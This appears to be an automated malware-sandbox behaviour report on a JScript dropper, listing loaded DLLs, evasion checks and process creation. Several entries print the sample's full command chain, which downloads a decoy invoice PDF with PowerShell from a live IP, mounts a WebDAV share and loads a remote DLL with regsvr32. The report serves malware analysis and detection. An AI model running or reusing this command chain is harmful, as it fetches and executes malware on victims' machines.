Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5892.js.csv");ITextStream.WriteLine(" entry:7593 f:gwgfiar");ITextStream.WriteLine(" exec:2 f:gwgfiar");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5762			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4093			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5060	Thread sleep count: 5762 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5060	Thread sleep count: 4093 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5624	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8}8
Source: net.exe, 00000007.00000002.1557000130.000001FF387D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1539481227.000001FF387D0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2766974202.0000021C32A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2768222945.0000021C38255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1557000130.000001FF387D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1539481227.000001FF387D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWU9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
